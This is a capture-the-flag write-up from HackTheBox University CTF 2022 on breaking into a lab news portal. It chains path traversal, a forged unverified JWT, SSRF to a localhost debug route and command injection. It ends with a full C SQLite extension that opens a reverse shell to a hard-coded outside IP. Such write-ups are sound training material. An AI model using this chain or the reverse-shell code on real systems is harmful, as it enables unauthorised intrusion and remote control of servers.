Home front-page port 80-shoopyu Hackthebox University CTF 2022| Supernatural Hacks
Post
Cancel

front-page port 80-shoopyu Hackthebox University CTF 2022| Supernatural Hacks

 

logo

Hackthebox University CTF 2022 : Supernatural Hacks

It was a University Wise CTF event held by HackTheBox with 942 teams participating from different universities across the world. This is a writeup for one of the few challenges we solved in the event.

Description:

The Magic Informer is the only byte-sized wizarding newspaper that brings the best magical news to you at your fingertips! Due to popular demand and bold headlines, we are often targeted by wizards and hackers alike. We need you to pentest our news portal and see if you can gain access to our server.


The given address gives the following webpage:

TheMagicInformer

Upon directory enumeration, we found several locations:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://178.62.84.158:30191/ -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://178.62.84.158:30191/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2022/12/03 02:51:41 Starting gobuster in directory enumeration mode
===============================================================
/register             (Status: 200) [Size: 2120]
/login                (Status: 200) [Size: 2109]
/download             (Status: 302) [Size: 23] [--> /]
/admin                (Status: 302) [Size: 23] [--> /]
/static               (Status: 301) [Size: 179] [--> /static/]
/Login                (Status: 200) [Size: 2109]
/Download             (Status: 302) [Size: 23] [--> /]
/logout               (Status: 302) [Size: 23] [--> /]
/Register             (Status: 200) [Size: 2120]
/dashboard            (Status: 302) [Size: 23] [--> /]
/Admin                (Status: 302) [Size: 23] [--> /]

 

create a account at /register and login in via /login , then it will be redirected to /dashboard:

TheMagicInformer-1

The resume file upload functionality lets us upload any arbitrary file without restriction but appends .docx.

The uploaded file could be downloaded at /download?resume?HASH_OF_THE_FILE.docx. After trying several payloads, We found out that its vulnerable to Local File Inclusion (path traversals) and was able to read several files and getting to know that the files are stored at /app/upload.

passwd file obtained from the lfi:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000:Linux User,,,:/home/node:/bin/sh

This lead us the ability to access the files (possible from node user) but not list directories.

Since it was a express app (Wappalyzer results), we tried checking for /app/package.json which lead us to get hands on the source code of the app and the sqlite database (admin.db).

After enumerating the sqlite db file, we found users and enrollments and settings tables. The setting files included some settings for a sms service with mostly a invalid apikey.

1
2
3
4
5
6
7
8
sqlite> select * from settings;
1|sms_verb|POST
2|sms_url|https://platform.clickatell.com/messages
3|sms_params|{"apiKey" : "xxxx", "toNumber": "recipient", "text": "message"}
4|sms_headers|Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
5|sms_resp_ok|<status>ok</status>
6|sms_resp_bad|<status>error</status>

Hash cat was unable to find the password hash obtained form admin.db

After checking the source code we found Additional routes that were not found while fuzzing using gobuster.

As we were Unable to retrieve the flag, We tried to get into website as the admin user:

We looked up at the JWTHelper.js and found out that it does not do signing verification so we could just modify the token (cookie) to access as a admin user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import jwt from "jsonwebtoken";

import crypto from "crypto";

const APP_SECRET = crypto.randomBytes(69).toString('hex');

const sign = (data) => {
data = Object.assign(data);
return (jwt.sign(data, APP_SECRET, { algorithm:'HS256' })) 
}

const decode = async(token) => {
return (jwt.decode(token));
}

export { sign, decode };

TheMagicInformer-2

This lead us to the following page:
TheMagicInformer-3

The POST route to /debug/sql/exec caught our mind:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
router.post('/debug/sql/exec', LocalMiddleware, AdminMiddleware, 
			async (req, res) => {
const { sql, password } = req.body;
if (sql && password === process.env.DEBUG_PASS) {
	try {
		let safeSql = String(sql).replaceAll(/"/ig, "'");
		let cmdStr = `sqlite3 -csv admin.db "${safeSql}"`;
		const cmdExec = execSync(cmdStr);
		return res.json({sql, output: cmdExec.toString()});
	}
catch (e) {
		let output = e.toString();
		if (e.stderr) output = e.stderr.toString();
		return res.json({sql, output});
	}
}
return res.status(500).send(response('Invalid debug password supplied!'));

});

It was executing a sqlite queries as a command on system with execSync taking an input from the user by only filtering out double quotes.

However we needed to be a localhost to execute the command and the sql-prompt.html also didn’t include a submit button. xD This and that the invalid apikey we found earlier just gave a instant hint that we can use the POST endpoint at /api/sms/test for sending the request at /debug/sql/exec:

We came up with the following Request for making a valid sqlite query:

1
POST  /api/sms/test  HTTP/1.1  Host:  159.65.63.151:32528  Content-Length:  418  User-Agent:  Mozilla/5.0  (Windows  NT  10.0;  Win64;  x64)  AppleWebKit/537.36  (KHTML,  like  Gecko)  Chrome/105.0.5195.127  Safari/537.36  Content-Type:  application/json  Accept:  */*  Origin:  http://159.65.63.151:32528  Referer:  http://159.65.63.151:32528/sms-settings  Accept-Encoding:  gzip,  deflate  Accept-Language:  en-US,en;q=0.9  Cookie:session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjcwMDAxMDcyfQ.Nj1dGrOgfIJ9iNocGRSJmCIVKQhJhKqEyo3ExAu4vkE  Connection:  close  {"verb":"POST","url":"http://127.0.0.1:1337/debug/sql/exec","params":"{\"sql\" : \"select 0 from enrollments; & whoami\", \"password\": \"CzliwZJkV60hpPJ\"}","headers":"Content-Type: application/json\nCookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjcwMDAxMDcyfQ.Nj1dGrOgfIJ9iNocGRSJmCIVKQhJhKqEyo3ExAu4vkE","resp_ok":"<status>ok</status>","resp_bad":"<status>error</status>"}  

TheMagicInformer-4

Now we needed to somehow get an RCE or the ability to execute commands but the double quote filter was a issue. Just simple searches lead me to the load_Extensions() function in sqlite.

We found the following github repository which included the source code to make a shared library file that the function takes in as a input then which later allows us to execute commands: GitHub Link

We were able to execute commands like ls and whoami:

TheMagicInformer-5

I tried copying the C code for reverse shell from the cheat sheet and adding it directly into the Shared library so that it gets executed with the main function of it.

So the final code we were left off with was the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */  SQLITE_EXTENSION_INIT1
#include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdlib.h> #ifdef _WIN32 __declspec(dllexport)
#endif static void systemExec(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
const unsigned char * cmd = sqlite3_value_text(argv[0]);
int ret = system((const char *)cmd);
}
int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int port = 4242;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("59.92.213.3");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
SQLITE_EXTENSION_INIT2(pApi);
int rc = sqlite3_create_function(db, "execute", 1, SQLITE_UTF8 | SQLITE_INNOCUOUS, 0, systemExec, 0, 0);
// subsequent calls need to return OK since this will be used in injections and we can't really control how many times its going to be loaded
return SQLITE_OK;
}

After uploading the file and having a netcat listener at 4242. we loaded the file and successfully received a shell and got the flag: TheMagicInformer-6

This post is licensed under CC BY 4.0 by the author.

front-page port 80-shoopyu Shoppy | HackTheBox | Easy

front-page port 80-shoopyu Illumination | HackTheBox | Forensics Challange